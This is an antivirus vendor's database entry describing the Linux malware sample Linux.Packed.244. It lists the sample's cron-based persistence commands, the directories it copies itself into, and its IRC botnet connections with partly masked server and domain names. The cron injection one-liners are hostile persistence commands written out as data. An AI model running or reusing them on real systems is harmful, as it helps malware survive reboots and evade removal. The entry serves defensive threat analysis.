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Linux.Packed.244

Added to the Dr.Web virus database: 2018-12-20

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • cl263a0bg4b4
Launches processes:
  • sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
  • crontab -l
  • grep <SAMPLE_FULL_PATH>
  • cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
  • crontab -
  • sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"* * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
  • grep /dev/shm/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
  • sh -c crontab -l | grep /var/tmp/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
  • grep /var/tmp/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
  • sh -c crontab -l | grep /var/lock/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
  • grep /var/lock/<SAMPLE>
  • cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
  • sh -c crontab -l | grep /var/run/<SAMPLE> || (crontab -l ; echo \"* * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
  • grep /var/run/<SAMPLE>
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.IDT7qW
  • /var/spool/cron/crontabs/tmp.yGWhdC
Creates or modifies files:
  • /var/spool/cron/crontabs/tmp.IDT7qW
  • /dev/shm/<SAMPLE>
  • /usr/bin/crontab
  • /var/tmp/<SAMPLE>
  • /var/spool/cron/crontabs/tmp.DKS6iz
  • /var/lock/<SAMPLE>
  • /run/lock/<SAMPLE>
  • /var/spool/cron/crontabs/tmp.yGWhdC
  • /var/spool/cron/crontabs/tmp.nPVuVY
  • /var/run/<SAMPLE>
  • /run/<SAMPLE>
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:48102
Establishes connection:
  • 8.#.8.8:53
Connects to the following servers over the IRC protocol:
  • Server: 51.##.124.148; Command: NICK x86|1|486418|box-amd64 \n
  • Server: 51.##.124.148; Command: USER mb localhost 0 :2018 \n
  • Server: 51.##.124.148; Command: PONG :17A10E16 \n
  • Server: 51.##.124.148; Command: JOIN #s \n
DNS ASK:
  • ir#.##-zahlung.eu
Other:
Collects CPU information

Curing recommendations


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